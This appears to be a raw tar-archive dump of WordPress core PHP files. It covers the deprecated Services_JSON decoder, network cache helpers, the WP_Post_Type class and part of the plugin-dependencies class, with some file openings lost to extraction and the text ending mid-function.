$this->reduce_string($chrs); if ($chrs == '') { if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } else { return $obj; } } //print("\nparsing {$chrs}\n"); $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); if (($c == $strlen_chrs) || (($chrs[$c] == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { // found a comma that is not inside a string, array, etc., // OR we've reached the end of the character list $slice = $this->substr8($chrs, $top['where'], ($c - $top['where'])); array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); //print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); if (reset($stk) == SERVICES_JSON_IN_ARR) { // we are in an array, so just push an element onto the stack array_push($arr, $this->decode($slice)); } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { // we are in an object, so figure // out the property name and set an // element in an associative array, // for now $parts = array(); if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) { // "name":value pair $key = $this->decode($parts[1]); $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) { // name:value pair, where name is unquoted $key = $parts[1]; $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } } } elseif ((($chrs[$c] == '"') || ($chrs[$c] == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { // found a quote, and we are not inside a string array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c])); //print("Found start of string at {$c}\n"); } elseif (($chrs[$c] == $top['delim']) && ($top['what'] == SERVICES_JSON_IN_STR) && (($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) { // found a quote, we're in a string, and it's not escaped // we know that it's not escaped because there is _not_ an // odd number of backslashes at the end of the string so far array_pop($stk); //print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); } elseif (($chrs[$c] == '[') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-bracket, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); //print("Found start of array at {$c}\n"); } elseif (($chrs[$c] == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { // found a right-bracket, and we're in an array array_pop($stk); //print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($chrs[$c] == '{') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-brace, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); //print("Found start of object at {$c}\n"); } elseif (($chrs[$c] == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { // found a right-brace, and we're in an object array_pop($stk); //print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($substr_chrs_c_2 == '/*') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a comment start, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); $c++; //print("Found start of comment at {$c}\n"); } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { // found a comment end, and we're in one now array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) $chrs = substr_replace($chrs, ' ', $i, 1); //print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } } if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { return $obj; } } } } /** * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @todo Ultimately, this should just call PEAR::isError() */ function isError($data, $code = null) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if (class_exists('pear')) { return PEAR::isError($data, $code); } elseif (is_object($data) && ($data instanceof services_json_error || is_subclass_of($data, 'services_json_error'))) { return true; } return false; } /** * Calculates length of string in bytes * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string * @return integer length */ function strlen8( $str ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if ( $this->_mb_strlen ) { return mb_strlen( $str, "8bit" ); } return strlen( $str ); } /** * Returns part of a string, interpreting $start and $length as number of bytes. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string * @param integer start * @param integer length * @return integer length */ function substr8( $string, $start, $length=false ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if ( $length === false ) { $length = $this->strlen8( $string ) - $start; } if ( $this->_mb_substr ) { return mb_substr( $string, $start, $length, "8bit" ); } return substr( $string, $start, $length ); } } if (class_exists('PEAR_Error')) { class Services_JSON_Error extends PEAR_Error { /** * PHP5 constructor. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. */ function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); parent::PEAR_Error($message, $code, $mode, $options, $userinfo); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) ); self::__construct($message, $code, $mode, $options, $userinfo); } } } else { /** * @todo Ultimately, this class shall be descended from PEAR_Error */ class Services_JSON_Error { /** * PHP5 constructor. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. */ function __construct( $message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ public function Services_JSON_Error( $message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null ) { _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) ); self::__construct( $message, $code, $mode, $options, $userinfo ); } } } endif; ms-network.php000064400000007251147177035010007375 0ustar00query( $args ); } /** * Removes a network from the object cache. * * @since 4.6.0 * * @global bool $_wp_suspend_cache_invalidation * * @param int|array $ids Network ID or an array of network IDs to remove from cache. */ function clean_network_cache( $ids ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } $network_ids = (array) $ids; wp_cache_delete_multiple( $network_ids, 'networks' ); foreach ( $network_ids as $id ) { /** * Fires immediately after a network has been removed from the object cache. * * @since 4.6.0 * * @param int $id Network ID. */ do_action( 'clean_network_cache', $id ); } wp_cache_set( 'last_changed', microtime(), 'networks' ); } /** * Updates the network cache of given networks. * * Will add the networks in $networks to the cache. If network ID already exists * in the network cache then it will not be updated. The network is added to the * cache using the network group with the key using the ID of the networks. * * @since 4.6.0 * * @param array $networks Array of network row objects. */ function update_network_cache( $networks ) { $data = array(); foreach ( (array) $networks as $network ) { $data[ $network->id ] = $network; } wp_cache_add_multiple( $data, 'networks' ); } /** * Adds any networks from the given IDs to the cache that do not already exist in cache. * * @since 4.6.0 * @access private * * @see update_network_cache() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $network_ids Array of network IDs. */ function _prime_network_caches( $network_ids ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $network_ids, 'networks' ); if ( ! empty( $non_cached_ids ) ) { $fresh_networks = $wpdb->get_results( sprintf( "SELECT $wpdb->site.* FROM $wpdb->site WHERE id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared update_network_cache( $fresh_networks ); } } class-wp-post-type.php000064400000062226147177035010010765 0ustar00name = $post_type; $this->set_props( $args ); } /** * Sets post type properties. * * See the register_post_type() function for accepted arguments for `$args`. * * @since 4.6.0 * * @param array|string $args Array or string of arguments for registering a post type. */ public function set_props( $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a post type. * * @since 4.4.0 * * @param array $args Array of arguments for registering a post type. * See the register_post_type() function for accepted arguments. * @param string $post_type Post type key. */ $args = apply_filters( 'register_post_type_args', $args, $this->name ); $post_type = $this->name; /** * Filters the arguments for registering a specific post type. * * The dynamic portion of the filter name, `$post_type`, refers to the post type key. * * Possible hook names include: * * - `register_post_post_type_args` * - `register_page_post_type_args` * * @since 6.0.0 * * @param array $args Array of arguments for registering a post type. * See the register_post_type() function for accepted arguments. * @param string $post_type Post type key. */ $args = apply_filters( "register_{$post_type}_post_type_args", $args, $this->name ); $has_edit_link = ! empty( $args['_edit_link'] ); // Args prefixed with an underscore are reserved for internal use. $defaults = array( 'labels' => array(), 'description' => '', 'public' => false, 'hierarchical' => false, 'exclude_from_search' => null, 'publicly_queryable' => null, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_in_admin_bar' => null, 'menu_position' => null, 'menu_icon' => null, 'capability_type' => 'post', 'capabilities' => array(), 'map_meta_cap' => null, 'supports' => array(), 'register_meta_box_cb' => null, 'taxonomies' => array(), 'has_archive' => false, 'rewrite' => true, 'query_var' => true, 'can_export' => true, 'delete_with_user' => null, 'show_in_rest' => false, 'rest_base' => false, 'rest_namespace' => false, 'rest_controller_class' => false, 'template' => array(), 'template_lock' => false, '_builtin' => false, '_edit_link' => 'post.php?post=%d', ); $args = array_merge( $defaults, $args ); $args['name'] = $this->name; // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default rest_namespace to wp/v2 if show_in_rest is true. if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) { $args['rest_namespace'] = 'wp/v2'; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'show_in_menu'. if ( null === $args['show_in_admin_bar'] ) { $args['show_in_admin_bar'] = (bool) $args['show_in_menu']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to true if not public, false if public. if ( null === $args['exclude_from_search'] ) { $args['exclude_from_search'] = ! $args['public']; } // Back compat with quirky handling in version 3.0. #14122. if ( empty( $args['capabilities'] ) && null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ), true ) ) { $args['map_meta_cap'] = true; } // If not set, default to false. if ( null === $args['map_meta_cap'] ) { $args['map_meta_cap'] = false; } // If there's no specified edit link and no UI, remove the edit link. if ( ! $args['show_ui'] && ! $has_edit_link ) { $args['_edit_link'] = ''; } $this->cap = get_post_type_capabilities( (object) $args ); unset( $args['capabilities'] ); if ( is_array( $args['capability_type'] ) ) { $args['capability_type'] = $args['capability_type'][0]; } if ( false !== $args['query_var'] ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( ! is_array( $args['rewrite'] ) ) { $args['rewrite'] = array(); } if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = $this->name; } if ( ! isset( $args['rewrite']['with_front'] ) ) { $args['rewrite']['with_front'] = true; } if ( ! isset( $args['rewrite']['pages'] ) ) { $args['rewrite']['pages'] = true; } if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) { $args['rewrite']['feeds'] = (bool) $args['has_archive']; } if ( ! isset( $args['rewrite']['ep_mask'] ) ) { if ( isset( $args['permalink_epmask'] ) ) { $args['rewrite']['ep_mask'] = $args['permalink_epmask']; } else { $args['rewrite']['ep_mask'] = EP_PERMALINK; } } } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_post_type_labels( $this ); $this->label = $this->labels->name; } /** * Sets the features support for the post type. * * @since 4.6.0 */ public function add_supports() { if ( ! empty( $this->supports ) ) { foreach ( $this->supports as $feature => $args ) { if ( is_array( $args ) ) { add_post_type_support( $this->name, $feature, $args ); } else { add_post_type_support( $this->name, $args ); } } unset( $this->supports ); } elseif ( false !== $this->supports ) { // Add default features. add_post_type_support( $this->name, array( 'title', 'editor' ) ); } } /** * Adds the necessary rewrite rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { global $wp_rewrite, $wp; if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical ) { add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" ); } else { add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" ); } if ( $this->has_archive ) { $archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive; if ( $this->rewrite['with_front'] ) { $archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug; } else { $archive_slug = $wp_rewrite->root . $archive_slug; } add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' ); if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) { $feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')'; add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); } if ( $this->rewrite['pages'] ) { add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . '&paged=$matches[1]', 'top' ); } } $permastruct_args = $this->rewrite; $permastruct_args['feed'] = $permastruct_args['feeds']; add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args ); } } /** * Registers the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function register_meta_boxes() { if ( $this->register_meta_box_cb ) { add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 ); } } /** * Adds the future post hook action for the post type. * * @since 4.6.0 */ public function add_hooks() { add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 ); } /** * Registers the taxonomies for the post type. * * @since 4.6.0 */ public function register_taxonomies() { foreach ( $this->taxonomies as $taxonomy ) { register_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the features support for the post type. * * @since 4.6.0 * * @global array $_wp_post_type_features Post type features. */ public function remove_supports() { global $_wp_post_type_features; unset( $_wp_post_type_features[ $this->name ] ); } /** * Removes any rewrite rules, permastructs, and rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * @global array $post_type_meta_caps Used to remove meta capabilities. */ public function remove_rewrite_rules() { global $wp, $wp_rewrite, $post_type_meta_caps; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove any rewrite rules, permastructs, and rules. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) { if ( false !== strpos( $query, "index.php?post_type=$this->name" ) ) { unset( $wp_rewrite->extra_rules_top[ $regex ] ); } } } // Remove registered custom meta capabilities. foreach ( $this->cap as $cap ) { unset( $post_type_meta_caps[ $cap ] ); } } /** * Unregisters the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function unregister_meta_boxes() { if ( $this->register_meta_box_cb ) { remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 ); } } /** * Removes the post type from all taxonomies. * * @since 4.6.0 */ public function unregister_taxonomies() { foreach ( get_object_taxonomies( $this->name ) as $taxonomy ) { unregister_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the future post hook action for the post type. * * @since 4.6.0 */ public function remove_hooks() { remove_action( 'future_' . $this->name, '_future_post_hook', 5 ); } /** * Gets the REST API controller for this post type. * * Will only instantiate the controller class once per request. * * @since 5.3.0 * * @return WP_REST_Controller|null The controller instance, or null if the post type * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Posts_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } /** * Returns the default labels for post types. * * @since 6.0.0 * * @return (string|null)[][] The default labels for post types. */ public static function get_default_labels() { if ( ! empty( self::$default_labels ) ) { return self::$default_labels; } self::$default_labels = array( 'name' => array( _x( 'Posts', 'post type general name' ), _x( 'Pages', 'post type general name' ) ), 'singular_name' => array( _x( 'Post', 'post type singular name' ), _x( 'Page', 'post type singular name' ) ), 'add_new' => array( _x( 'Add New', 'post' ), _x( 'Add New', 'page' ) ), 'add_new_item' => array( __( 'Add New Post' ), __( 'Add New Page' ) ), 'edit_item' => array( __( 'Edit Post' ), __( 'Edit Page' ) ), 'new_item' => array( __( 'New Post' ), __( 'New Page' ) ), 'view_item' => array( __( 'View Post' ), __( 'View Page' ) ), 'view_items' => array( __( 'View Posts' ), __( 'View Pages' ) ), 'search_items' => array( __( 'Search Posts' ), __( 'Search Pages' ) ), 'not_found' => array( __( 'No posts found.' ), __( 'No pages found.' ) ), 'not_found_in_trash' => array( __( 'No posts found in Trash.' ), __( 'No pages found in Trash.' ) ), 'parent_item_colon' => array( null, __( 'Parent Page:' ) ), 'all_items' => array( __( 'All Posts' ), __( 'All Pages' ) ), 'archives' => array( __( 'Post Archives' ), __( 'Page Archives' ) ), 'attributes' => array( __( 'Post Attributes' ), __( 'Page Attributes' ) ), 'insert_into_item' => array( __( 'Insert into post' ), __( 'Insert into page' ) ), 'uploaded_to_this_item' => array( __( 'Uploaded to this post' ), __( 'Uploaded to this page' ) ), 'featured_image' => array( _x( 'Featured image', 'post' ), _x( 'Featured image', 'page' ) ), 'set_featured_image' => array( _x( 'Set featured image', 'post' ), _x( 'Set featured image', 'page' ) ), 'remove_featured_image' => array( _x( 'Remove featured image', 'post' ), _x( 'Remove featured image', 'page' ) ), 'use_featured_image' => array( _x( 'Use as featured image', 'post' ), _x( 'Use as featured image', 'page' ) ), 'filter_items_list' => array( __( 'Filter posts list' ), __( 'Filter pages list' ) ), 'filter_by_date' => array( __( 'Filter by date' ), __( 'Filter by date' ) ), 'items_list_navigation' => array( __( 'Posts list navigation' ), __( 'Pages list navigation' ) ), 'items_list' => array( __( 'Posts list' ), __( 'Pages list' ) ), 'item_published' => array( __( 'Post published.' ), __( 'Page published.' ) ), 'item_published_privately' => array( __( 'Post published privately.' ), __( 'Page published privately.' ) ), 'item_reverted_to_draft' => array( __( 'Post reverted to draft.' ), __( 'Page reverted to draft.' ) ), 'item_scheduled' => array( __( 'Post scheduled.' ), __( 'Page scheduled.' ) ), 'item_updated' => array( __( 'Post updated.' ), __( 'Page updated.' ) ), 'item_link' => array( _x( 'Post Link', 'navigation link block title' ), _x( 'Page Link', 'navigation link block title' ), ), 'item_link_description' => array( _x( 'A link to a post.', 'navigation link block description' ), _x( 'A link to a page.', 'navigation link block description' ), ), ); return self::$default_labels; } /** * Resets the cache for the default labels. * * @since 6.0.0 */ public static function reset_default_labels() { self::$default_labels = array(); } } class-wp-plugin-dependencies.php000064400000061347147177035010012746 0ustar00 $dependencies ) { if ( in_array( $slug, $dependencies, true ) ) { $dependents[] = $dependent; } } return $dependents; } /** * Gets the slugs of plugins that the dependent requires. * * @since 6.5.0 * * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory. * @return array An array of dependency plugin slugs. */ public static function get_dependencies( $plugin_file ) { if ( isset( self::$dependencies[ $plugin_file ] ) ) { return self::$dependencies[ $plugin_file ]; } return array(); } /** * Gets a dependent plugin's filepath. * * @since 6.5.0 * * @param string $slug The dependent plugin's slug. * @return string|false The dependent plugin's filepath, relative to the plugins directory, * or false if the plugin has no dependencies. */ public static function get_dependent_filepath( $slug ) { $filepath = array_search( $slug, self::$dependent_slugs, true ); return $filepath ? $filepath : false; } /** * Determines whether the plugin has unmet dependencies. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return bool Whether the plugin has unmet dependencies. */ public static function has_unmet_dependencies( $plugin_file ) { if ( ! isset( self::$dependencies[ $plugin_file ] ) ) { return false; } require_once ABSPATH . '/wp-admin/includes/plugin.php'; foreach ( self::$dependencies[ $plugin_file ] as $dependency ) { $dependency_filepath = self::get_dependency_filepath( $dependency ); if ( false === $dependency_filepath || is_plugin_inactive( $dependency_filepath ) ) { return true; } } return false; } /** * Determines whether the plugin has a circular dependency. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return bool Whether the plugin has a circular dependency. */ public static function has_circular_dependency( $plugin_file ) { if ( ! is_array( self::$circular_dependencies_slugs ) ) { self::get_circular_dependencies(); } if ( ! empty( self::$circular_dependencies_slugs ) ) { $slug = self::convert_to_slug( $plugin_file ); if ( in_array( $slug, self::$circular_dependencies_slugs, true ) ) { return true; } } return false; } /** * Gets the names of plugins that require the plugin. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return array An array of dependent names. */ public static function get_dependent_names( $plugin_file ) { $dependent_names = array(); $plugins = self::get_plugins(); $slug = self::convert_to_slug( $plugin_file ); foreach ( self::get_dependents( $slug ) as $dependent ) { $dependent_names[ $dependent ] = $plugins[ $dependent ]['Name']; } sort( $dependent_names ); return $dependent_names; } /** * Gets the names of plugins required by the plugin. * * @since 6.5.0 * * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory. * @return array An array of dependency names. */ public static function get_dependency_names( $plugin_file ) { $dependency_api_data = self::get_dependency_api_data(); $dependencies = self::get_dependencies( $plugin_file ); $plugins = self::get_plugins(); $dependency_names = array(); foreach ( $dependencies as $dependency ) { // Use the name if it's available, otherwise fall back to the slug. if ( isset( $dependency_api_data[ $dependency ]['name'] ) ) { $name = $dependency_api_data[ $dependency ]['name']; } else { $dependency_filepath = self::get_dependency_filepath( $dependency ); if ( false !== $dependency_filepath ) { $name = $plugins[ $dependency_filepath ]['Name']; } else { $name = $dependency; } } $dependency_names[ $dependency ] = $name; } return $dependency_names; } /** * Gets the filepath for a dependency, relative to the plugin's directory. * * @since 6.5.0 * * @param string $slug The dependency's slug. * @return string|false If installed, the dependency's filepath relative to the plugins directory, otherwise false. */ public static function get_dependency_filepath( $slug ) { $dependency_filepaths = self::get_dependency_filepaths(); if ( ! isset( $dependency_filepaths[ $slug ] ) ) { return false; } return $dependency_filepaths[ $slug ]; } /** * Returns API data for the dependency. * * @since 6.5.0 * * @param string $slug The dependency's slug. * @return array|false The dependency's API data on success, otherwise false. */ public static function get_dependency_data( $slug ) { $dependency_api_data = self::get_dependency_api_data(); if ( isset( $dependency_api_data[ $slug ] ) ) { return $dependency_api_data[ $slug ]; } return false; } /** * Displays an admin notice if dependencies are not installed. * * @since 6.5.0 */ public static function display_admin_notice_for_unmet_dependencies() { if ( in_array( false, self::get_dependency_filepaths(), true ) ) { $error_message = __( 'Some required plugins are missing or inactive.' ); if ( is_multisite() ) { if ( current_user_can( 'manage_network_plugins' ) ) { $error_message .= ' ' . sprintf( /* translators: %s: Link to the network plugins page. */ __( 'Manage plugins.' ), esc_url( network_admin_url( 'plugins.php' ) ) ); } else { $error_message .= ' ' . __( 'Please contact your network administrator.' ); } } elseif ( 'plugins' !== get_current_screen()->base ) { $error_message .= ' ' . sprintf( /* translators: %s: Link to the plugins page. */ __( 'Manage plugins.' ), esc_url( admin_url( 'plugins.php' ) ) ); } wp_admin_notice( $error_message, array( 'type' => 'warning', ) ); } } /** * Displays an admin notice if circular dependencies are installed. * * @since 6.5.0 */ public static function display_admin_notice_for_circular_dependencies() { $circular_dependencies = self::get_circular_dependencies(); if ( ! empty( $circular_dependencies ) && count( $circular_dependencies ) > 1 ) { $circular_dependencies = array_unique( $circular_dependencies, SORT_REGULAR ); $plugins = self::get_plugins(); $plugin_dirnames = self::get_plugin_dirnames(); // Build output lines. $circular_dependency_lines = ''; foreach ( $circular_dependencies as $circular_dependency ) { $first_filepath = $plugin_dirnames[ $circular_dependency[0] ]; $second_filepath = $plugin_dirnames[ $circular_dependency[1] ]; $circular_dependency_lines .= sprintf( /* translators: 1: First plugin name, 2: Second plugin name. */ '
  • ' . _x( '%1$s requires %2$s', 'The first plugin requires the second plugin.' ) . '
  • ', '' . esc_html( $plugins[ $first_filepath ]['Name'] ) . '', '' . esc_html( $plugins[ $second_filepath ]['Name'] ) . '' ); } wp_admin_notice( sprintf( '

    %1$s

      %2$s

    %3$s

    ', __( 'These plugins cannot be activated because their requirements are invalid.' ), $circular_dependency_lines, __( 'Please contact the plugin authors for more information.' ) ), array( 'type' => 'warning', 'paragraph_wrap' => false, ) ); } } /** * Checks plugin dependencies after a plugin is installed via AJAX. * * @since 6.5.0 */ public static function check_plugin_dependencies_during_ajax() { check_ajax_referer( 'updates' ); if ( empty( $_POST['slug'] ) ) { wp_send_json_error( array( 'slug' => '', 'pluginName' => '', 'errorCode' => 'no_plugin_specified', 'errorMessage' => __( 'No plugin specified.' ), ) ); } $slug = sanitize_key( wp_unslash( $_POST['slug'] ) ); $status = array( 'slug' => $slug ); self::get_plugins(); self::get_plugin_dirnames(); if ( ! isset( self::$plugin_dirnames[ $slug ] ) ) { $status['errorCode'] = 'plugin_not_installed'; $status['errorMessage'] = __( 'The plugin is not installed.' ); wp_send_json_error( $status ); } $plugin_file = self::$plugin_dirnames[ $slug ]; $status['pluginName'] = self::$plugins[ $plugin_file ]['Name']; $status['plugin'] = $plugin_file; if ( current_user_can( 'activate_plugin', $plugin_file ) && is_plugin_inactive( $plugin_file ) ) { $status['activateUrl'] = add_query_arg( array( '_wpnonce' => wp_create_nonce( 'activate-plugin_' . $plugin_file ), 'action' => 'activate', 'plugin' => $plugin_file, ), is_multisite() ? network_admin_url( 'plugins.php' ) : admin_url( 'plugins.php' ) ); } if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) { $status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] ); } self::initialize(); $dependencies = self::get_dependencies( $plugin_file ); if ( empty( $dependencies ) ) { $status['message'] = __( 'The plugin has no required plugins.' ); wp_send_json_success( $status ); } require_once ABSPATH . '/wp-admin/includes/plugin.php'; $inactive_dependencies = array(); foreach ( $dependencies as $dependency ) { if ( false === self::$plugin_dirnames[ $dependency ] || is_plugin_inactive( self::$plugin_dirnames[ $dependency ] ) ) { $inactive_dependencies[] = $dependency; } } if ( ! empty( $inactive_dependencies ) ) { $inactive_dependency_names = array_map( function ( $dependency ) { if ( isset( self::$dependency_api_data[ $dependency ]['Name'] ) ) { $inactive_dependency_name = self::$dependency_api_data[ $dependency ]['Name']; } else { $inactive_dependency_name = $dependency; } return $inactive_dependency_name; }, $inactive_dependencies ); $status['errorCode'] = 'inactive_dependencies'; $status['errorMessage'] = sprintf( /* translators: %s: A list of inactive dependency plugin names. */ __( 'The following plugins must be activated first: %s.' ), implode( ', ', $inactive_dependency_names ) ); $status['errorData'] = array_combine( $inactive_dependencies, $inactive_dependency_names ); wp_send_json_error( $status ); } $status['message'] = __( 'All required plugins are installed and activated.' ); wp_send_json_success( $status ); } /** * Gets data for installed plugins. * * @since 6.5.0 * * @return array An array of plugin data. */ protected static function get_plugins() { if ( is_array( self::$plugins ) ) { return self::$plugins; } require_once ABSPATH . '/wp-admin/includes/plugin.php'; self::$plugins = get_plugins(); return self::$plugins; } /** * Reads and stores dependency slugs from a plugin's 'Requires Plugins' header. * * @since 6.5.0 */ protected static function read_dependencies_from_plugin_headers() { self::$dependencies = array(); self::$dependency_slugs = array(); self::$dependent_slugs = array(); $plugins = self::get_plugins(); foreach ( $plugins as $plugin => $header ) { if ( '' === $header['RequiresPlugins'] ) { continue; } $dependency_slugs = self::sanitize_dependency_slugs( $header['RequiresPlugins'] ); self::$dependencies[ $plugin ] = $dependency_slugs; self::$dependency_slugs = array_merge( self::$dependency_slugs, $dependency_slugs ); $dependent_slug = self::convert_to_slug( $plugin ); self::$dependent_slugs[ $plugin ] = $dependent_slug; } self::$dependency_slugs = array_unique( self::$dependency_slugs ); } /** * Sanitizes slugs. * * @since 6.5.0 * * @param string $slugs A comma-separated string of plugin dependency slugs. * @return array An array of sanitized plugin dependency slugs. */ protected static function sanitize_dependency_slugs( 